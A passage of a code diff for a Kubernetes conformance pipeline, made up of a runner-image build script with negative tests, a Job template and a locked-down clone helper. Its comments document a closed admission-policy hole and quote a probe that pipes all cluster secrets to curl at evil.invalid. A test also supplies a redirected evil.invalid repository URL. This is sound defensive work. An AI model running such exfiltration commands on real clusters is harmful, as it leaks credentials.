+[ -f "${TOOLCHAIN_ENV}" ] || die "missing ${TOOLCHAIN_ENV} — the pins live there, not here"
+# shellcheck disable=SC1090
+source "${TOOLCHAIN_ENV}"
+: "${CHAINSAW_VERSION:?CHAINSAW_VERSION not set in ${TOOLCHAIN_ENV}}"
+: "${KUBECTL_VERSION:?KUBECTL_VERSION not set in ${TOOLCHAIN_ENV}}"
+: "${FEDORA_VERSION:?FEDORA_VERSION not set in ${TOOLCHAIN_ENV}}"
+
+# --- image name: fixed by the admission policy -------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml admits ONLY
+# gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:*. The repository path
+# is therefore not a preference; a different path is a DENIED Job. Do not "improve" it here.
+IMAGE_REPO="gitea.home.keithjackson.dev/home-network/conformance-runner"
+# The tag is build convenience only (a human-readable handle for the push). Admission
+# ignores it: only the digest is ever referenced from a Job.
+IMAGE_TAG="chainsaw${CHAINSAW_VERSION}-kubectl${KUBECTL_VERSION}-fc${FEDORA_VERSION}"
+IMAGE_REF="${IMAGE_REPO}:${IMAGE_TAG}"
+
+log "Building ${IMAGE_REF}"
+info "engine            ${ENGINE} ($(${ENGINE} --version 2>/dev/null | head -1))"
+info "pins from         ${TOOLCHAIN_ENV}"
+info "  CHAINSAW        ${CHAINSAW_VERSION}"
+info "  KUBECTL         ${KUBECTL_VERSION}"
+info "  FEDORA          ${FEDORA_VERSION}"
+
+"${ENGINE}" build \
+  --file "${HERE}/Containerfile" \
+  --tag "${IMAGE_REF}" \
+  --build-arg "CHAINSAW_VERSION=${CHAINSAW_VERSION}" \
+  --build-arg "KUBECTL_VERSION=${KUBECTL_VERSION}" \
+  --build-arg "FEDORA_VERSION=${FEDORA_VERSION}" \
+  "${HERE}"
+
+# --- verify: the point of the whole exercise ---------------------------------
+# The stock chainsaw image "had" chainsaw and still could not run ./run.sh. So prove the
+# tools EXECUTE, and prove they execute as the NON-ROOT uid with a READ-ONLY root
+# filesystem — the shape the admission policy forces. A pass here is the only evidence
+# this image is usable; a build that merely succeeded is not.
+if [ "${VERIFY}" -eq 1 ]; then
+  log "Verifying the toolchain inside the image (non-root, read-only rootfs)"
+  "${ENGINE}" run --rm \
+    --user 65532:65532 \
+    --read-only \
+    --tmpfs /workspace:rw,mode=1777 \
+    --entrypoint "" \
+    "${IMAGE_REF}" \
+    /bin/bash -euo pipefail -c '
+      echo "--- id ---";             id
+      echo "--- HOME ---";           echo "HOME=${HOME}"
+      echo "--- bash ---";           bash --version | head -1
+      echo "--- python3 ---";        python3 --version
+      echo "--- git ---";            git --version
+      echo "--- kubectl ---";        kubectl version --client
+      echo "--- chainsaw ---";       chainsaw version
+      echo "--- baked versions ---"; cat /etc/conformance-runner-versions
+      echo "--- conformance-clone: fixed path, root-owned, NOT writable by the runner ---"
+      stat -c "%n %U:%G %a" /usr/local/bin/conformance-clone
+      if [ -w /usr/local/bin/conformance-clone ]; then
+        echo "UNEXPECTED: uid $(id -u) can write the one executable the policy will trust"; exit 1
+      fi
+      echo "confirmed: not writable by uid $(id -u)"
+      # Each of these MUST fail. Assert the non-zero exit as well as the message: a check
+      # that only greps stderr would pass a build where the guard had stopped rejecting.
+      # (`|| true` inside the capture keeps `set -e`/`pipefail` from aborting on the
+      # expected failure — without it the verify dies at the first negative case.)
+      expect_fail() {
+        local label="$1"; shift
+        local out rc=0
+        out="$(env "$@" 2>&1)" || rc=$?
+        echo "--- ${label} ---"
+        printf "%s\n" "${out}" | head -2
+        if [ "${rc}" -eq 0 ]; then
+          echo "UNEXPECTED: that should have failed, but it exited 0"; exit 1
+        fi
+        echo "(rejected, exit ${rc})"
+      }
+      expect_fail "conformance-clone rejects arguments (that is where an injection would live)" \
+        conformance-clone --layer l2
+      expect_fail "conformance-clone rejects a missing SHA" \
+        conformance-clone
+      expect_fail "conformance-clone rejects a branch name instead of a SHA (no silent run of the tip)" \
+        CONFORMANCE_GIT_SHA=main conformance-clone
+      expect_fail "conformance-clone rejects an UNRENDERED placeholder" \
+        CONFORMANCE_GIT_SHA=@@CONFORMANCE_GIT_SHA@@ conformance-clone
+      expect_fail "conformance-clone rejects a HOME off the workspace volume" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        HOME=/etc conformance-clone
+      expect_fail "conformance-clone refuses a REDIRECTED repository URL (the env-injection hole)" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        CONFORMANCE_REPO_URL=https://evil.invalid/x.git conformance-clone
+      expect_fail "conformance-clone refuses a clone target off the workspace volume" \
+        CONFORMANCE_GIT_SHA=0000000000000000000000000000000000000000 \
+        CONFORMANCE_SRC=/etc/src conformance-clone
+      echo "--- rootfs is read-only (expected: a failure) ---"
+      if touch /should-fail 2>/dev/null; then echo "UNEXPECTED: rootfs is writable"; exit 1; fi
+      echo "confirmed: / is read-only"
+      echo "--- HOME is writable (the workspace emptyDir) ---"
+      touch "${HOME}/.probe" && echo "confirmed: ${HOME} is writable"
+      echo "--- uid is non-zero ---"
+      [ "$(id -u)" -ne 0 ] && echo "confirmed: running as uid $(id -u), not root"
+    '
+  log "Toolchain verified"
+fi
+
+# --- verify the clone helper against the REAL repository (opt-in: needs network) ----
+# The negative cases above prove conformance-clone refuses bad input. This proves the
+# positive case: it lands the EXACT commit asked for and can prove it did. Without this, the
+# rev-parse assertion is only an unexercised line of shell.
+if [ "${VERIFY_CLONE}" -eq 1 ]; then
+  log "Verifying conformance-clone against the real repository"
+  SHA="$(git -C "${REPO_ROOT}" rev-parse HEAD)"
+  info "requesting commit ${SHA}"
+  "${ENGINE}" run --rm \
+    --user 65532:65532 \
+    --read-only \
+    --tmpfs /workspace:rw,mode=1777 \
+    --network host \
+    --entrypoint "" \
+    -e "CONFORMANCE_GIT_SHA=${SHA}" \
+    "${IMAGE_REF}" \
+    /bin/bash -euo pipefail -c '
+      conformance-clone
+      echo "--- assert rev-parse HEAD == the requested SHA ---"
+      got="$(git -C /workspace/src rev-parse HEAD)"
+      echo "requested: ${CONFORMANCE_GIT_SHA}"
+      echo "HEAD:      ${got}"
+      [ "${got}" = "${CONFORMANCE_GIT_SHA}" ] || { echo "MISMATCH"; exit 1; }
+      echo "confirmed: the working tree is at the requested commit"
+      test -x /workspace/src/conformance/run.sh && echo "confirmed: run.sh present and executable"
+    '
+  log "conformance-clone verified against the real repository"
+fi
+
+# --- digest ------------------------------------------------------------------
+DIGEST="$("${ENGINE}" image inspect --format '{{.Digest}}' "${IMAGE_REF}")"
+IMAGE_ID="$("${ENGINE}" image inspect --format '{{.Id}}' "${IMAGE_REF}")"
+SIZE="$("${ENGINE}" image inspect --format '{{.Size}}' "${IMAGE_REF}")"
+
+log "Built ${IMAGE_REF}"
+info "local manifest digest  ${DIGEST}"
+info "image id               ${IMAGE_ID}"
+info "size                   $(( SIZE / 1024 / 1024 )) MiB"
+
+cat <<EOF
+
+================================================================================
+NOT PUSHED. Publishing is an operator action — this script holds no registry
+credential and will never acquire one.
+
+OPERATOR: run these two commands, then paste the digest from the digestfile into
+conformance/versions.env (CONFORMANCE_RUNNER_IMAGE) via a PR:
+
+    ${ENGINE} login gitea.home.keithjackson.dev
+
+    ${ENGINE} push --digestfile /tmp/conformance-runner.digest \\
+      ${IMAGE_REF}
+
+Then:
+
+    cat /tmp/conformance-runner.digest
+    # -> sha256:....  THIS is the authoritative digest, not the local one above.
+
+    # conformance/versions.env
+    CONFORMANCE_RUNNER_IMAGE="${IMAGE_REPO}@\$(cat /tmp/conformance-runner.digest)"
+
+WHY THE DIGEST AND NOT THE TAG: platform/kyverno/admission/conformance-trigger-job-shape.yaml
+is a fail-closed Enforce policy. It DENIES any conformance-trigger Job whose image is not
+${IMAGE_REPO}@sha256:<digest>. A tag reference is denied,
+and so is any other repository path.
+
+TIGHTEN THE BOUNDARY AFTERWARDS: that policy's header asks for the wildcard
+\`${IMAGE_REPO}@sha256:*\` to be replaced with the
+LITERAL digest once the image exists, closing the "anyone who can push to this path" gap.
+That is a separate, human-reviewed PR against the security boundary.
+================================================================================
+EOF

conformance/incluster/chainsaw-job.yaml

@@ -1,23 +1,175 @@
 # =============================================================================
-# In-cluster Chainsaw conformance Job — SKELETON (ADR-0011; docs/14)
+# In-cluster Chainsaw conformance Job — the RUN TEMPLATE (ADR-0011; docs/14)
+# Serves docs/plans/l2-l3-conformance-ci-wiring.md §3 items 2 and 3.
 #
-# CI (Gitea Actions, T-6.1b) TRIGGERS this Job and waits for it; CI holds NO
-# cluster credentials. The Job runs L1/L2/L3 under the scoped `conformance-runner`
-# ServiceAccount (rbac.yaml), writes JUnit + coverage to a results location that
-# CI collects, and enforces the merge / phase-exit gate on the outcome.
+# NOT RECONCILED BY FLUX. `kustomization.yaml` deliberately omits this file: it is a
+# TEMPLATE the CI trigger renders and submits once per run. Flux reconciling it would
+# create a permanent Job object and fight the trigger for ownership.
 #
-# Two invocation shapes (CI sets args):
-#   * MERGE GATE:  ./run.sh --requirements <touched R-IDs>   (subset)
-#   * PHASE EXIT:  ./run.sh --layer all                      (full suite)
+# CI (Gitea Actions) creates this Job and waits for it. CI holds NO broad kubeconfig —
+# only the narrow `conformance-trigger` identity (create/get jobs, get pods + pods/log).
+# In particular it has NO `pods/exec` and cannot `kubectl cp`, which is why results leave
+# the Job over STDOUT (see "RESULTS TRANSPORT" below) and not over an exec channel.
 #
-# Results artifact mechanism (delegated to WS-TEST by docs/14 open items):
-#   Chosen = a shared results emptyDir + a terminating log stream, with an
-#   OPTIONAL results PVC for durability across CI collection. For Phase 0 there is
-#   no cluster; this manifest is reconciled by Flux from Phase 1+ and exercised
-#   once L2/L3 can run. CI collects `report.junit.xml` + `coverage/` from the
-#   results volume (or scrapes the pod log, which echoes their paths).
+# -----------------------------------------------------------------------------
+# THE ADMISSION BOUNDARY THIS MANIFEST MUST SATISFY
+# -----------------------------------------------------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml is Enforce +
+# failurePolicy: Fail, and it governs every Job `conformance-trigger` creates. It admits
+# ONLY: exactly one container on a digest-pinned conformance-runner image,
+# serviceAccountName conformance-runner, command ["./run.sh"], args drawn from
+# --layer/--requirements/--include-scope/--strict-coverage plus plain value tokens, no
+# host namespaces, non-root with privilege escalation off, and — the constraint that
+# shapes everything below — NO VOLUMES BUT `workspace` AND `results`.
 #
-# NOT applied in Phase 0 (no cluster). Image tag pinned to versions.env CHAINSAW_IMAGE.
+# So the git credential CANNOT be a projected/secret volume, and the init container
+# cannot have a scratch volume of its own. Both are solved inside the two allowed names:
+#   * the credential arrives as env vars via secretKeyRef (an env var is not a volume),
+#     BY SECRET NAME ONLY — no token literal ever appears in this file;
+#   * `$TMPDIR` and `$HOME` are pointed at directories on the `workspace` emptyDir, so
+#     readOnlyRootFilesystem stays true without a third volume and without subPath
+#     mounts (a kubelet-created subPath dir is root-owned 0755 and would not be writable
+#     by the non-root runner).
+#
+# Verify before changing anything here:
+#   kyverno apply platform/kyverno/admission/conformance-trigger-job-shape.yaml \
+#     --resource <rendered job> \
+#     --userinfo platform/kyverno/tests/conformance-trigger/user-info.yaml
+# and see platform/kyverno/tests/conformance-trigger/ — the `real-template` case in
+# resources.yaml is this shape, so `make -C ci l0` fails if it drifts out of admission.
+#
+# -----------------------------------------------------------------------------
+# THE initContainers HOLE — FOUND AND CLOSED IN THE SAME PR (2026-09-29)
+# -----------------------------------------------------------------------------
+# As originally written, the policy read only `spec.template.spec.containers` (rule 1's
+# pattern, rule 3's `containers[0].args`) and `volumes` (rule 2). `initContainers` was
+# never examined, so the exact escalation the policy exists to stop was reachable one
+# field over. MEASURED with the pinned CLI (kyverno v1.19.0), `containers[0]` left fully
+# compliant:
+#
+#   * this template with ONLY the init container's args replaced by
+#     `kubectl get secrets -A -o yaml | curl -X POST --data-binary @- http://evil.invalid/`
+#   * and (the coordinator's independent reproduction) a `privileged: true`
+#     `docker.io/library/alpine:latest` init container running `kubectl get secrets -A`
+#
+#   ->  pass: 3, fail: 0, warn: 0, error: 0, skip: 0        # BOTH ADMITTED
+#
+# `=(privileged): "false"` in rule 1 only ever applied to `containers[0]`.
+#
+# Closed by new rules in that policy, authorised by the coordinator in this PR
+# (the original brief forbade policy edits; that was to stop the boundary being BENT to
+# fit a Job, not to stop a hole being closed):
+#   * `trigger-initcontainers-must-be-the-committed-clone-step` — at most one init
+#     container, on the digest-pinned runner image, `command:
+#     ["/usr/local/bin/conformance-clone"]`, NO args, non-root, no privilege escalation,
+#     not privileged. The clone logic moved OUT of this manifest and into the image for
+#     exactly this reason: a policy cannot vet a shell script passed as `args`, so the
+#     script had to stop being caller-supplied data. It stays reviewable as
+#     conformance/incluster/conformance-clone.
+#   * `trigger-may-not-declare-ephemeral-containers` — `ephemeralContainers` was the same
+#     unread field. Upstream k8s is BELIEVED to reject it in a pod template; that was not
+#     verified here, and the rule costs nothing if it is true.
+#   * `trigger-env-names-must-be-the-committed-set` and `trigger-may-not-use-envfrom` — `env`
+#     was the same mistake a THIRD time. `command` is pinned, so injection moves to a variable
+#     the pinned command honours, and `BASH_ENV` alone is arbitrary code execution: bash
+#     sources it before running a non-interactive script. Names are allowlisted per container;
+#     VALUES and the `valueFrom` source Secret deliberately are not (values are legitimately
+#     environment-specific, and conformance-runner can already read this namespace's Secrets
+#     through its own RBAC, so pinning the source would buy nothing).
+#
+# Every probe is now a negative fixture in platform/kyverno/tests/conformance-trigger/ —
+# `evil-initcontainer`, `initcontainer-with-args`, `second-initcontainer`,
+# `evil-ephemeral-container`, `injected-env`, `injected-initcontainer-env`,
+# `envfrom-whole-secret` — so they stay failing.
+#
+# THE GENERALISABLE LESSON, since this was the same bug three times: an "admit only the
+# committed shape" policy is only as good as its enumeration of every field that can carry
+# executable intent. `containers` was enumerated; `initContainers`, `ephemeralContainers` and
+# `env` were not. Before adding a field to this Job, ask which rule reads it — and if none
+# does, that is the finding, not an oversight to work around.
+#
+# The clone URL is hardcoded in the image entrypoint (and `CONFORMANCE_REPO_URL` is hard-failed
+# on a mismatch rather than honoured) for exactly this reason. Do not move it into env.
+#
+# Note also that `kyverno apply` evaluates these rules whether or not `--userinfo` is
+# supplied, so a CLI pass is evidence about the PATTERNS, not about the subjects filter.
+#
+# -----------------------------------------------------------------------------
+# WHAT THE TRIGGER SUBSTITUTES — `@@NAME@@` tokens, NOT `${NAME}`
+# -----------------------------------------------------------------------------
+# The placeholder syntax is deliberately NOT shell syntax. `${NAME}` would be substituted by
+# `envsubst`, which has no way to tell a token meant for rendering from a shell reference
+# that belongs to a script — a trap this file walked into while the clone logic was still an
+# inline bash script here. `@@NAME@@` cannot collide with anything, and a surviving `@@` in a
+# rendered manifest is trivially greppable as "the trigger forgot to render this". Render
+# with a two-token sed, nothing cleverer:
+#
+#   sed -e "s|@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@|${digest}|" \
+#       -e "s|@@CONFORMANCE_GIT_SHA@@|${sha}|" conformance/incluster/chainsaw-job.yaml
+#
+#   @@CONFORMANCE_RUNNER_IMAGE_DIGEST@@  the 64-hex digest of the pinned runner image.
+#         Only the DIGEST is substituted — the registry path and the `@sha256:` pinning
+#         are committed literals, so the substitution cannot repoint the image at another
+#         repository, and the template still satisfies the policy's image pattern before
+#         rendering. An unsubstituted digest fails as ImagePullBackOff, loudly.
+#   @@CONFORMANCE_GIT_SHA@@             the 40-hex commit under test. The init container
+#         REFUSES to run unless it matches ^[0-9a-f]{40}$, so an unsubstituted placeholder
+#         or an injected value is a hard failure, never a run of the wrong tree.
+#
+# `args` is NOT a placeholder: it is a real list, and the trigger REPLACES it wholesale per
+# invocation shape. Keeping it a committed list (not a substituted scalar) is what lets this
+# file be handed to `kyverno apply` as-is.
+#
+# -----------------------------------------------------------------------------
+# WHICH ARGS ACTUALLY RUN ON THIS IMAGE — `--layer` IS MANDATORY AND MUST NAME ONLY l2/l3
+# -----------------------------------------------------------------------------
+# The runner image ships bash, git, python3, chainsaw and kubectl. It deliberately does NOT
+# ship flux, promtool, kyverno or kustomize, because L0/L1 are CI's job and run without a
+# cluster. But run.sh runs its OFFLINE L0/L1 stages first for any selection that is not
+# offline-only, and those stages need exactly those missing tools. Tracing run.sh:
+#
+#   requirement_scoped_dirs() is layer-bounded ONLY when --layer is given and != all;
+#   offline_selected_dirs() then filters the selection to /l0-static/|/l1-rendering/.
+#
+# so:
+#   ["--layer","l2,l3"]                                        -> offline selection EMPTY. RUNS.
+#   ["--layer","l2,l3","--requirements","R-NET-01"]             -> intersected to L2/L3. RUNS.
+#   ["--layer","l2,l3","--include-scope","whole-repo"]          -> scope union is ALSO
+#         layer-bounded, so only whole-repo-scoped L2/L3 tests (none today). RUNS.
+#   ["--requirements","R-NET-01"]        (no --layer, so LAYER=all) -> unbounded: pulls that
+#         requirement's L0/L1 tests into the run. FAILS on the missing toolchain.
+#   ["--layer","all","--strict-coverage"]                       -> every L0/L1 test. FAILS.
+#
+# The first three are measured working by the image build (PR #18); the last two are measured
+# failing. **The plan's "PHASE EXIT: --layer all" shape therefore cannot run in-cluster** — a
+# full-suite run still belongs to CI for L0/L1 plus this Job for L2/L3, not to this Job alone.
+# The committed default below is the narrowest shape that works.
+#
+# The admission policy's args allowlist is deliberately NOT narrowed to enforce this: a
+# security boundary should not encode which toolchain an image happens to ship, and the failure
+# mode of an allowed-but-unrunnable shape is a loud non-zero run, not an escalation. This
+# comment is the enforcement, and `ci/conformance.sh` (plan §3 item 4) is where it must land.
+#
+# -----------------------------------------------------------------------------
+# RESULTS TRANSPORT — base64 tar on STDOUT, truncation-detectable
+# -----------------------------------------------------------------------------
+# `command` is pinned to ["./run.sh"] by admission, so nothing can be appended after the
+# suite to package artifacts. run.sh therefore does it itself, on an EXIT trap, when
+# CONF_EMIT_ARTIFACTS_TGZ=1 (set below and nowhere else). It prints:
+#
+#   === ARTIFACTS-TGZ-BASE64 BEGIN v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#   <base64 of the tgz, wrapped at 76 columns>
+#   === ARTIFACTS-TGZ-BASE64 END v1 rc=<rc> bytes=<n> lines=<l> sha256=<hex> ===
+#
+# The BEGIN and END headers are byte-identical and both carry the size, the base64 line
+# count and the sha256. A collector that checks all four (one BEGIN, one END, headers
+# equal, line count and digest match) cannot mistake a truncated `kubectl logs` for a
+# complete artifact set — which a bare blob would, because base64 decodes a truncated
+# stream to plausible garbage without complaint. See the block comment above
+# conf_emit_artifacts_tgz() in conformance/run.sh for the collector's exact obligations.
+#
+# `activeDeadlineSeconds` is deliberately shorter than the log-retention window: the
+# transport is the pod's log, so the Job must finish while that log still exists.
 # =============================================================================
 apiVersion: batch/v1
 kind: Job
@@ -28,7 +180,10 @@ metadata:
     app.kubernetes.io/part-of: conformance
 spec:
   backoffLimit: 0            # deterministic: a failed conformance run is a failure, no retry
+  # A retry would also re-emit the artifact envelope, giving the collector two BEGIN
+  # markers in one log. backoffLimit 0 keeps "exactly one envelope per Job" true.
   ttlSecondsAfterFinished: 3600
+  activeDeadlineSeconds: 5400   # L3 fault injection is slow; a hung run must not hold the gate
   template:
     metadata:
       labels:
@@ -37,38 +192,118 @@ spec:
       serviceAccountName: conformance-runner    # scoped test identity (rbac.yaml)
       restartPolicy: Never
       securityContext:
+        # runAsUser is explicit, not inherited from the image's USER: `runAsNonRoot: true`
+        # alone only *rejects* a root image, it does not choose a uid, and the runner image
+        # is built by a separate task (plan §5 step 1). 65532 is the conventional
+        # distroless `nonroot` uid; the Containerfile MUST create it. fsGroup makes both
+        # emptyDirs group-writable for that uid.
         runAsNonRoot: true
+        runAsUser: 65532
+        runAsGroup: 65532
+        fsGroup: 65532
         seccompProfile: { type: RuntimeDefault }
-      containers:
-        - name: chainsaw
-          # PIN to versions.env CHAINSAW_IMAGE (ghcr.io/kyverno/chainsaw:v0.2.12).
-          image: ghcr.io/kyverno/chainsaw:v0.2.12
-          workingDir: /workspace/conformance
-          # The suite repo is delivered into /workspace (git clone init-container or
-          # a Flux-populated volume). run.sh is the single entrypoint (identical to local).
-          command: ["./run.sh"]
-          # CI overrides args per invocation shape:
-          #   ["--requirements", "R-NET-01,R-NET-06"]   (merge gate) OR
-          #   ["--layer", "all", "--strict-coverage"]   (phase exit)
-          args: ["--layer", "all", "--strict-coverage"]
+      initContainers:
+        # ---------------------------------------------------------------------
+        # Deliver the suite AT THE COMMIT UNDER TEST into the shared workspace.
+        #
+        # NO SCRIPT AND NO ARGS HERE, DELIBERATELY. The logic lives in the repo at
+        # conformance/incluster/conformance-clone and is baked into the runner image at
+        # /usr/local/bin/conformance-clone. That is what makes the init container
+        # ENFORCEABLE: while the script was inline as `command: ["/bin/bash","-c"]` +
+        # `args: [<script>]`, no admission policy could distinguish the committed script
+        # from an attacker's — both are just `args` on a shell, and a Job with a privileged
+        # alpine init container running `kubectl get secrets -A` was ADMITTED (measured
+        # 2026-09-29). Rule `trigger-initcontainers-must-be-the-committed-clone-step` now
+        # pins this container to that one path with NO args, so it carries no
+        # caller-supplied code. Read that entrypoint for the clone/fetch/assert logic
+        # and for why the repository URL is hardcoded THERE rather than passed in env.
+        #
+        # Only the commit SHA is caller-supplied, and the entrypoint refuses anything that
+        # is not 40 hex characters before it touches the network.
+        # ---------------------------------------------------------------------
+        - name: clone-suite-at-commit
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
+          command: ["/usr/local/bin/conformance-clone"]
           env:
-            - name: CONF_ROOT
-              value: /workspace/conformance
+            - name: CONFORMANCE_GIT_SHA
+              value: "@@CONFORMANCE_GIT_SHA@@"
+            # BY SECRET NAME ONLY. Provisioned out-of-band by the operator (plan §3.6) as a
+            # READ-ONLY Gitea token with read access to this one repository — never a write
+            # token, never a deploy key with push. Keys: `username`, `token`.
+            # An env var is not a volume, which is how this coexists with the admission
+            # policy's workspace/results-only rule.
+            - name: GITEA_USERNAME
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: username }
+            - name: GITEA_TOKEN
+              valueFrom:
+                secretKeyRef: { name: conformance-git-readonly, key: token }
+            # Writable scratch + HOME on the workspace emptyDir, so the root filesystem
+            # stays read-only and no third volume is needed.
+            - name: TMPDIR
+              value: /workspace/tmp
+            - name: HOME
+              value: /workspace/home
           volumeMounts:
             - { name: workspace, mountPath: /workspace }
-            - { name: results, mountPath: /workspace/conformance/_artifacts }
           securityContext:
             allowPrivilegeEscalation: false
             readOnlyRootFilesystem: true
             capabilities: { drop: ["ALL"] }
             runAsNonRoot: true
+          resources:
+            requests: { cpu: 100m, memory: 128Mi }
+            limits: { cpu: "1", memory: 512Mi }
+      containers:
+        - name: chainsaw
+          # Digest-pinned under the conformance repository path — the admission policy
+          # rejects a mutable tag. Built from conformance/versions.env CHAINSAW_VERSION
+          # (+ kubectl, git, python3, bash); see plan §5 step 1.
+          image: gitea.home.keithjackson.dev/home-network/conformance-runner@sha256:@@CONFORMANCE_RUNNER_IMAGE_DIGEST@@
+          workingDir: /workspace/src/conformance
+          # PINNED BY ADMISSION. Nothing may wrap or follow it, which is why the artifact
+          # envelope is emitted by run.sh itself rather than by a shell one-liner here.
+          command: ["./run.sh"]
+          # Replaced wholesale by the trigger per invocation shape (see the header).
+          # `--layer l2,l3` and NOT `--layer all`: see the WHICH ARGS ACTUALLY RUN block.
+          args: ["--layer", "l2,l3"]
+          env:
+            # run.sh derives CONF_ROOT from its own location; CONF_ARTIFACTS moves the
+            # artifact tree onto the `results` volume. It cannot live at its default
+            # conformance/_artifacts, because a volume mounted inside the clone target
+            # would make that directory non-empty and `git clone` would refuse it.
+            - name: CONF_ARTIFACTS
+              value: /results
+            # THE RESULTS CHANNEL. Set here and nowhere else: a local run must not spray a
+            # base64 tar over an operator's terminal.
+            - name: CONF_EMIT_ARTIFACTS_TGZ
+              value: "1"
+            - name: TMPDIR
+              value: /workspace/tmp
+            - name: HOME
+              value: /workspace/home
+          volumeMounts:
+            - { name: workspace, mountPath: /workspace }
+            - { name: results, mountPath: /results }
+          securityContext:
+            allowPrivilegeEscalation: false
+            readOnlyRootFilesystem: true
+            capabilities: { drop: ["ALL"] }
+            runAsNonRoot: true
+          # L3 fault injection drives etcd and Longhorn hard (see run.sh's HEAVY set and
+          # config/chainsaw-config.yaml); the limits bound the blast radius on a homelab
+          # node without starving the suite.
+          resources:
+            requests: { cpu: 250m, memory: 512Mi }
+            limits: { cpu: "2", memory: 2Gi }
       volumes:
-        # Suite source: populated by an init-container git clone of the impl repo at
-        # the commit under test, OR a Flux-synced source volume. (Init container
-        # omitted from this skeleton; wire in T-6.1b.)
+        # ONLY THESE TWO NAMES ARE ADMISSIBLE. Do not add a third.
+        # Suite source, written by the init container: /workspace/src is the checkout,
+        # /workspace/tmp is $TMPDIR, /workspace/home is $HOME.
         - name: workspace
           emptyDir: {}
-        # Results: CI collects report.junit.xml + coverage/ from here. Swap emptyDir
-        # for a results PVC if durability beyond pod lifetime is required.
+        # Artifact tree ($CONF_ARTIFACTS). Its contents are what the STDOUT envelope
+        # carries; an emptyDir is sufficient because the transport is the log, not the
+        # volume. Swap for a PVC only if the log channel is replaced (plan §7 item 4).
         - name: results
           emptyDir: {}

conformance/incluster/conformance-clone

@@ -0,0 +1,138 @@
+#!/usr/bin/env bash
+###############################################################################
+# conformance-clone — fetch the impl repo at the exact commit under test.
+#
+# Baked into the conformance-runner image at /usr/local/bin/conformance-clone, mode 0755
+# root:root, so the running container (uid 65532) cannot replace it. The Job's init
+# container runs it as `command: ["/usr/local/bin/conformance-clone"]` with NO args.
+#
+# WHY IT IS A FILE IN THE IMAGE AND NOT AN INLINE SCRIPT IN THE JOB
+# -----------------------------------------------------------------
+# platform/kyverno/admission/conformance-trigger-job-shape.yaml pins the MAIN container's
+# `command` to ["./run.sh"] and constrains its `args` — but it never reads `initContainers`.
+# So a Job from `conformance-trigger` could carry an init container with
+# `command: ["/bin/sh","-c"]` and an arbitrary script, running as the privileged
+# `conformance-runner` SA. Reproduced by the policy's author: such a Job is ADMITTED
+# (pass 3, fail 0).
+#
+# The fix has two halves and NEITHER works alone:
+#   1. this file — a fixed path with fixed behaviour and no argument surface, so there is
+#      nothing for a caller to inject into; and
+#   2. a 4th policy rule requiring every initContainer's `command` to be exactly
+#      ["/usr/local/bin/conformance-clone"] with no `args`. That rule lives in the policy
+#      and is NOT this branch's to write — a security boundary changes in its own reviewed PR.
+# Without (2) this file is merely available, not required.
+#
+# THE ENV SURFACE IS THE OTHER HALF OF THE SAME HOLE — READ THIS BEFORE "SIMPLIFYING"
+# -----------------------------------------------------------------------------------
+# The admission policy says NOTHING about `env`. Verified: no `env`, `valueFrom` or
+# `secretKeyRef` clause appears in it. So a script that took its repository URL from the
+# environment would just move the injection one field over — the trigger sets
+# CONFORMANCE_REPO_URL to a repo it controls, this clones it, and `./run.sh` from THAT repo
+# executes under the privileged runner SA. Identical shape to the initContainers gap, and
+# "no args" would not have stopped it.
+#
+# Therefore the repository URL and the clone target are COMPILED IN below. The matching env
+# vars are still read, so the Job template can keep declaring them and stay self-documenting,
+# but a value that DISAGREES with the baked literal is a hard failure, never a redirect.
+# The only per-run input that is genuinely trusted is the commit SHA, and it must be 40 hex
+# characters of a commit that the baked repository actually contains.
+#
+# Inputs (environment; no arguments are accepted):
+#   CONFORMANCE_GIT_SHA   REQUIRED. 40 lowercase hex. The commit under test.
+#   CONFORMANCE_REPO_URL  optional. Must equal the baked URL if set.
+#   CONFORMANCE_SRC       optional. Must equal the baked target if set.
+#   GITEA_USERNAME        optional, from Secret `conformance-git-readonly`.
+#   GITEA_TOKEN           optional, from Secret `conformance-git-readonly`.
+#   TMPDIR / HOME         optional; must be under /workspace. Default to /workspace/{tmp,home}.
+#
+# Runs under: uid 65532, readOnlyRootFilesystem, only the `workspace` and `results` volumes.
+# Everything it writes therefore lives under /workspace. There is no writable /tmp.
+###############################################################################
+set -euo pipefail
+
+# --- COMPILED-IN, NOT CONFIGURABLE (see the header) --------------------------
+readonly BAKED_REPO_URL="https://gitea.home.keithjackson.dev/Home-Network/home-network-k3s-impl.git"
+readonly BAKED_SRC="/workspace/src"
+
+die() { printf 'FATAL: %s\n' "$*" >&2; exit 1; }
+log() { printf '==> %s\n' "$*"; }
+
+[ "$#" -eq 0 ] || die "takes no arguments (got $#: $*). Arguments are where an injection would live."
+
+# --- the one genuinely trusted input ----------------------------------------
+# A bad SHA must never degrade into "ran whatever the branch tip was": an unrendered
+# @@CONFORMANCE_GIT_SHA@@ placeholder has to be a hard failure, not a silent run of main.
+: "${CONFORMANCE_GIT_SHA:?CONFORMANCE_GIT_SHA is not set; the CI trigger did not render it}"
+printf '%s' "${CONFORMANCE_GIT_SHA}" | grep -Eq '^[0-9a-f]{40}$' \
+  || die "CONFORMANCE_GIT_SHA is not a 40-hex commit id: '${CONFORMANCE_GIT_SHA}'
+       The CI trigger did not substitute it, or substituted junk."
+
+# --- env that may agree with the baked values, but may not override them -----
+REPO_URL="${CONFORMANCE_REPO_URL:-${BAKED_REPO_URL}}"
+[ "${REPO_URL}" = "${BAKED_REPO_URL}" ] || die "CONFORMANCE_REPO_URL does not match the image's baked repository.
+         got:    ${REPO_URL}
+         baked:  ${BAKED_REPO_URL}
+       Refusing. A caller that can choose the repository can choose the code that runs."
+
+SRC="${CONFORMANCE_SRC:-${BAKED_SRC}}"
+[ "${SRC}" = "${BAKED_SRC}" ] || die "CONFORMANCE_SRC does not match the image's baked clone target.
+         got:    ${SRC}
+         baked:  ${BAKED_SRC}
+       Refusing."
+
+# Scratch paths must stay on the workspace volume; the root filesystem is read-only.
+# `/workspace` ITSELF is allowed, not just subdirectories: the image's own ENV sets
